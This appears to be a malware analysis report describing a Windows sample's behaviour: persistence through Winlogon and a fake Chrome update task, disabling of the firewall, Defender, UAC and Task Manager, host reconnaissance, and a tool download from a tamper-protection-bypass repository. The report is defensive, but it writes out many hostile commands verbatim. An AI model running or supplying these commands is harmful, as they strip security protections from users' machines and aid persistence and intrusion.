Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [<HKLM>\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] 'Shell' = '%WINDIR%\explorer.exe, <Full path to file>'
Creates or modifies the following files
- <SYSTEM32>\tasks\googlechromeupdateassistant
Sets the following service settings
- [<HKLM>\System\CurrentControlSet\Services\IKEEXT] 'Start' = '00000002'
Malicious functions
To bypass firewall, removes or modifies the following registry keys
- [<HKLM>\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile] 'EnableFirewall' = '00000000'
- [<HKLM>\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile] 'EnableFirewall' = '00000000'
To complicate detection of its presence in the operating system,
blocks execution of the following system utilities:
- Windows Task Manager (Taskmgr)
- Windows Update
- Windows Defender
blocks the following features:
- User Account Control (UAC)
modifies the following system settings:
- [<HKCU>\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoRun' = '00000001'
- [<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoSecurityTab' = '00000001'
Executes the following
- '<SYSTEM32>\netsh.exe' firewall set opmode mode=DISABLE
- '<SYSTEM32>\taskkill.exe' /f /im taskmgr* /t
- '<SYSTEM32>\taskkill.exe' /im smartscreen.exe /f
Downloads
- https://raw.githubusercontent.com/swagkarna/bypass-tamper-protection/main/nsudo.exe as .\nsudo.exe
Modifies file system
Creates the following files
- %TEMP%\9b26.tmp\9b27.tmp\9b28.bat
- %TEMP%\information.txt
Network activity
Connects to
- 'ra#.####ubusercontent.com':443
TCP
Other
- 'ra#.####ubusercontent.com':443
UDP
- DNS ASK ra#.####ubusercontent.com
- DNS ASK re#####r1.opendns.com
- DNS ASK 22#.###.67.208.in-addr.arpa
- DNS ASK my##.#pendns.com
Miscellaneous
Searches for the following windows
- ClassName: '' WindowName: ''
Creates and executes the following
- '<SYSTEM32>\cmd.exe' /c "%TEMP%\9B26.tmp\9B27.tmp\9B28.bat <Full path to file>"' (with hidden window)
Executes the following
- '<SYSTEM32>\cmd.exe' /c "%TEMP%\9B26.tmp\9B27.tmp\9B28.bat <Full path to file>"
- '<SYSTEM32>\find.exe' "."
- '<SYSTEM32>\wbem\wmic.exe' OS GET LocalDateTime
- '<SYSTEM32>\cmd.exe' /c <NUL <SYSTEM32>\wbem\wmic.exe OS GET LocalDateTime | <SYSTEM32>\find.exe "."
- '<SYSTEM32>\findstr.exe' /b /r [a-z]
- '<SYSTEM32>\wbem\wmic.exe' timezone get StandardName
- '<SYSTEM32>\cmd.exe' /c <NUL <SYSTEM32>\wbem\wmic.exe timezone get StandardName |findstr /b /r [a-z]
- '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v ShellCritical /t REG_DWORD /d 1 /f
- '<SYSTEM32>\schtasks.exe' /create /f /sc ONLOGON /tn "GoogleChromeUpdateAssistant" /tr "<Full path to file>"
- '<SYSTEM32>\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\SideBySide" /v PreferExternalManifest /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "%WINDIR%\explorer.exe, <Full path to file>" /f
- '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DisableCAD /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Appinfo" /v "Start" /t REG_DWORD /d "4" /f
- '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v HidePowerOptions /t REG_DWORD /d "1" /f
- '<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v HidePowerOptions /t REG_DWORD /d "1" /f
- '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\luafv" /v "Start" /t REG_DWORD /d "4" /f
- '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "PromptOnSecureDesktop" /t REG_DWORD /d "0" /f
- '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t REG_DWORD /d "0" /f
- '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Mouclass" /v Start /t REG_DWORD /d 4 /f
- '<SYSTEM32>\cacls.exe' <SYSTEM32>\utilman.exe /C /D Everyone
- '<SYSTEM32>\cmd.exe' /c reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v ProductName | <SYSTEM32>\find.exe "ProductName"
- '<SYSTEM32>\reg.exe' query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v ProductName
- '<SYSTEM32>\find.exe' "ProductName"
- '<SYSTEM32>\cmd.exe' /c reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v CurrentVersion | <SYSTEM32>\find.exe "CurrentVersion"
- '<SYSTEM32>\tasklist.exe'
- '<SYSTEM32>\net1.exe' user
- '<SYSTEM32>\net.exe' user
- '<SYSTEM32>\quser.exe'
- '<SYSTEM32>\wbem\wmic.exe' BIOS GET SERIALNUMBER
- '<SYSTEM32>\wbem\wmic.exe' COMPUTERSYSTEM GET MODEL
- '<SYSTEM32>\wbem\wmic.exe' COMPUTERSYSTEM GET MANUFACTURER
- '<SYSTEM32>\systeminfo.exe' /fo list
- '<SYSTEM32>\wbem\wmic.exe' cpu get name
- '<SYSTEM32>\ipconfig.exe' /all
- '<SYSTEM32>\wbem\wmic.exe' diskdrive get size
- '<SYSTEM32>\ipconfig.exe'
- '<SYSTEM32>\netsh.exe' wlan show profiles
- '<SYSTEM32>\nslookup.exe' myip.opendns.com resolver1.opendns.com
- '<SYSTEM32>\fsutil.exe' volume diskfree C
- '<SYSTEM32>\cmd.exe' /c fsutil volume diskfree C
- '<SYSTEM32>\wbem\wmic.exe' os get OSLanguage /Value
- '<SYSTEM32>\cmd.exe' /c wmic os get OSLanguage /Value
- '<SYSTEM32>\find.exe' "CurrentVersion"
- '<SYSTEM32>\reg.exe' query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v CurrentVersion
- '<SYSTEM32>\schtasks.exe'
- '<SYSTEM32>\cmd.exe' /S /D /c" ECHO Y"
- '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoSecurityTab /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop" /v NoChangingWallpaper /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders /v Desktop /t REG_SZ /d "C:\" /F
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders /v Personal /t REG_SZ /d "C:\" /F
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders /v AppData /t REG_SZ /d "C:\" /F
- '<SYSTEM32>\bcdedit.exe' /set testsigning on
- '<SYSTEM32>\sc.exe' config wuauserv start= disabled
- '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update" /v AUOptions /t REG_DWORD /d 1 /f
- '<SYSTEM32>\icacls.exe' "<SYSTEM32>\smartscreen.exe" /inheritance:r /remove *S-1-5-32-544 *S-1-5-11 *S-1-5-32-545 *S-1-5-18
- '<SYSTEM32>\icacls.exe' "<SYSTEM32>\smartscreen.exe" /reset
- '<SYSTEM32>\takeown.exe' /f "<SYSTEM32>\smartscreen.exe" /a
- '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Features" /v TamperProtection /t REG_DWORD /d 0 /f
- '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
- '<SYSTEM32>\netsh.exe' advfirewall set allprofiles state off
- '<SYSTEM32>\netsh.exe' advfirewall set publicprofile state off
- '<SYSTEM32>\netsh.exe' advfirewall set privateprofile state off
- '<SYSTEM32>\netsh.exe' advfirewall set domainprofile state off
- '<SYSTEM32>\netsh.exe' advfirewall set currentprofile state off
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -Noprofile -Nologo -mta -command "Add-MpPreference -ExclusionExtension ".bat""
- '<SYSTEM32>\dism.exe'
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders /v Cookies /t REG_SZ /d "C:\" /F
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders /v Fonts /t REG_SZ /d "C:\" /F
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders /v Favourites /t REG_SZ /d "C:\" /F
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders /v Programs /t REG_SZ /d "C:\" /F
- '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\Control Panel\Colors" /v ButtonText /t REG_SZ /d "35,2,2" /f
- '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\Control Panel\Colors" /v ButtonFace /t REG_SZ /d "74,2,2" /f
- '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\Control Panel\Colors" /v BackgroundAlternateFace /t REG_SZ /d "74,2,2" /f
- '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\Control Panel\Colors" /v Background /t REG_SZ /d "74,2,2" /f
- '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\System" /v DontDisplayNetworkSelectionUI /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\Control Panel\Mouse" /v MouseTrailsMin /t REG_SZ /d 100 /f
- '<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\Control Panel\Mouse" /v MouseTrailsMax /t REG_SZ /d 300 /f
- '<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\Control Panel\Mouse" /v MouseTrailsTime /t REG_SZ /d 100 /f
- '<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\Control Panel\Mouse" /v MouseTrails /t REG_SZ /d 7 /f
- '<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\Control Panel\Mouse" /v MouseThreshold1 /t REG_SZ /d 6 /f
- '<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\Control Panel\Mouse" /v MouseThreshold2 /t REG_SZ /d 10 /f
- '<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\Control Panel\Mouse" /v MouseSpeed /t REG_SZ /d 1 /f
- '<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\Control Panel\Mouse" /v MouseSensitivity /t REG_SZ /d 20 /f
- '<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\Control Panel\Mouse" /v SwapMouseButtons /t REG_SZ /d 1 /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Accent /v AccentColorMenu /t REG_DWORD /d 4279306355 /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Accent /v StartColorMenu /t REG_DWORD /d 4279109215 /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders /v Startup /t REG_SZ /d "C:\" /F
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders /v SendTo /t REG_SZ /d "C:\" /F
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders /v Recent /t REG_SZ /d "C:\" /F
- '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\Control Panel\Desktop" /v ActiveWndTrackTimeout /t REG_DWORD /d 0 /f
- '<SYSTEM32>\timeout.exe' 5 /nobreak
